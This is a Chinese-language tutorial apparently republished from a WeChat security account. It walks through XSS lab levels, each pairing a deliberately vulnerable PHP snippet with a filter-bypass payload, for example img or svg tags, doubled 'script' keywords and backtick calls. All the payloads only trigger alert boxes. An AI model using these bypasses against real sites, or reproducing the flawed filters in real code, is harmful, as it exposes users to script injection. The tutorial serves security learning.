浅析XSS的几种测试方法

0x00 背景

最近看到一个好玩的xss社区,准备通过几个经典的关卡来剖析一下XSS,本文仅提供经典案例。

试玩链接:http://tr.secevery.com/xss_platform/code/xss01/index.php?name=1

0x01 经典一(未过滤)

一、代码片段

<?php ini_set('display_errors', 0); if (isset($_GET['name'])) { $str = $_GET['name']; echo "<h2>你好:".$str.'</h2>'; } else { echo "<h2>Please add parameters name.</h2>"; } ?>

二、分析

通过GET传递进来的name未做过滤,直接输入,因此引发XSS

三、构造payload

name=<script>alert(1)</script>

0x01 经典二(大小写绕过)

一、代码片段

<?php 
    ini_set("display_errors", 0);
    $str = @$_POST["keyword"];
    $str = str_replace('script', '', $str);
    echo '
    <form action="index.php" method="POST">
    <input name=keyword size=60 value="'.$str.'">
    <input type=submit name=submit value="Search"/>
    </form>';
    echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>';
?>

二、分析

通过post传递进来的keyword进行了关键词过滤,因此通过大小写可以绕过(也可其他姿势,此处主要讲解大小写绕过)

三、构造payload

0x02 经典三(img标签绕过)

一、代码片段

<?php 
    ini_set("display_errors", 0);
    $str = strtolower(@$_POST["keyword"]);
    $str = str_replace('script', '', $str);
    echo '
    <form action="index.php" method="POST">
    <input name=keyword size=60 value="'.$str.'">
    <input type=submit name=submit value="Search"/>
    </form>';
    echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>';
?>

二、分析

此处不仅大小写过滤,而且替换了script关键词为空,<script>标签不能用可使用其他标签绕过

三、构造payload

keyword="><img src=# onerror="alert(1)"><"

0x03 经典四(二次绕过)

一、代码片段

<?
$xss=$_GET['x'];
$xss=preg_replace("/script/i","",$xss);
echo 'hello:',$xss;
?>

二、分析

get传递过来的参数大小写都过滤了,此处只替换一次关键词,因为可以使用script关键词两次从而达到绕过。

(此处有其他姿势,但主要讲解二次绕过姿势)

三、构造payload

x=<SCRscriptIPT>alert(1)</SCscriptRIPT>

0x04 经典五(A标签配合javascript绕过)

一、代码片段

<?php 
    ini_set("display_errors", 0);
    $str = strtolower(@$_POST["keyword"]);
    while (strpos($str,'<script>')) {$str = str_replace('<script>', '', $str);}
    while (strpos($str,'on')) {$str = str_replace('on', '', $str);}
    echo '
    <form action="index.php" method="POST">
    <input name=keyword size=60 value="'.$str.'">
    <input type=submit name=submit value="Search"/>
    </form>';
    echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>';
?>

二、分析

post传递过来的参数,进行了关键标签过来,并且调用事件的on关键词也过滤掉。此处可调用a标签,通过点击a标签重定向导致XSS

三、构造payload

keyword="><a href=javascript:alert(1)>xss me</a><"

0x05 经典六(SVG标签绕过)

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} while (strpos($str,'<img')) {$str = str_replace('<img', '', $str);} while (strpos($str,'<a')) {$str = str_replace('<a', '', $str);} echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

二、分析

post传递过来的参数,进行了关键标签过滤,但是仔细发现没有过滤svg标签

三、构造payload

keyword="><svg src=x onclick=alert(1)></svg><"

点击之后弹框

0x06 经典五(括号过滤猥琐绕过)

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?

二、分析

post传递过来的参数,进行了关键标签过滤,但是仔细发现没有过滤svg标签,但是奇葩的过滤了括号,但是可用反引号替代

三、构造payload

keyword="><svg src=x onclick=alert`1`></svg><"

0x07 经典六(空格注释绕过)

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace(' ', '', $str); echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

二、分析

post传递过来的参数,进行了关键标签过滤,并且过滤(),甚至还TM的过滤了空格,简直丧心病狂

三、构造payload

keyword="><img/**/ src="x/**/"onclick=alert`1`><"

keyword="><img/src='1'/onerror=alert`0`><"

keyword="><<svg/onload=alert`1`><"

0x08 经典七(input标签里绕过)

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); $str = preg_replace("/<.*?>/", '', $str); echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

二、分析

post传递过来的参数,进行正则匹配过滤,过滤所有标签

三、构造payload

<input type=image src=x onerror=alert(1)> 这个payload会把input当做img标签来用 此处用 " type=image src=x onerror=alert(1) " 闭合前后双引号,构造即可

keyword=" type=image src=x onerror=alert(1) "

0x08 经典八(输出直接在可执行JS代码里面)

一、代码片段

<?php ini_set("display_errors", 0); echo ' <form action=index.php method=POST> <input name=link size=60 value=""> <input type=submit name=submit value="add link" /> </form>'; echo '<div></div>'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','"',$str); $str=str_replace("'",''',$str); echo '<div><a href="'.$str.'">Link</a></div>'; } ?>

二、分析

本实例post传递过来的参数,输出在a标签里面,直接调用js代码可弹框

三、构造payload

link=javascript:alert(1)

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-09-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏林德熙的博客

win10 uwp ContentDialog 点确定不关闭

微软的ContentDialog不是一直有,而是UWP新的,可以使用Content放用户控件,使用很好,但是一点不好的是,默认的一点击下面按钮就会退出。

13620
来自专栏PHP在线

PHP版的jQuery

个人认为,对于Web前端程序员和跟HTML和CSS打交道的人来说,jQuery是有史以来最伟大的发明。jQuery的出现使Web程序员的开发效率突飞猛进,不亚于...

40030
来自专栏ytkah

整理的dedecms标签大全,方便查找

  平时用dedecms开发经常会用到一些标签,特别是首页、栏目页、内容页,这些页面都会用到标签的调用,比如title、keywords、description...

29850
来自专栏为数不多的Android技巧

Android Studio你不知道的快捷键(二)

在Android Studio你不知道的快捷键(一)里面,主要讲述了一些窗口操作的快捷键还有补全参数提示等,这一篇会分享一些代码代码编辑的快捷键。(默认Keym...

12620
来自专栏CodingBlock

Android开发必知--使用View.setId的正确姿势

  这两天在写一个柱状图的自定义控件,用的直接继承ViewGroup的方式实现的,我们都知道,这是自定义控件里面最简单的一种了,有时间写个总结分享一下。这里我想...

269100
来自专栏逸鹏说道

Jupyter-Notebook版的博客园美化

文章汇总:https://www.cnblogs.com/dotnetcrazy/p/9160514.html

18320
来自专栏lhyt前端之路

从单向到双向数据绑定0.前言1.单向数据(代表:react)2.观察者模式3.双绑的中间枢纽——Object.defineproperty(代表:vue)4. 脏值检测(代表:angular1)前面说

用户最满意的,无非就是界面的操作能实事反应到数据。而实现这种的可以有双向数据绑定、单向数据流的形式。双向数据绑定是,ui行为改变model层的数据,model层...

20740
来自专栏Java帮帮-微信公众号-技术文章全总结

深入浅出爬虫之道: Python、Golang与GraphQuery的对比

本文将分别使用 Python ,Golang 以及 GraphQuery 来解析某网站的 素材详情页面 ,这个页面的特色是具有清晰的数据结构,但是DOM结构不够...

14010
来自专栏zhangdd.com

ceph性能测试

该工具的语法为:rados bench -p <pool_name> <seconds> <write|seq|rand> -b <block size> -t...

26020
来自专栏IMWeb前端团队

组件化开发--实践记录与总结

组件的规范可在组件实现时通过代码风格和格式来约束,也可通过基类扩展来强制规范。所以,当组件都是通过同一个基类扩展而来时,在那个基类上就可以很方便地统一组件规范,...

28170

扫码关注云+社区

领取腾讯云代金券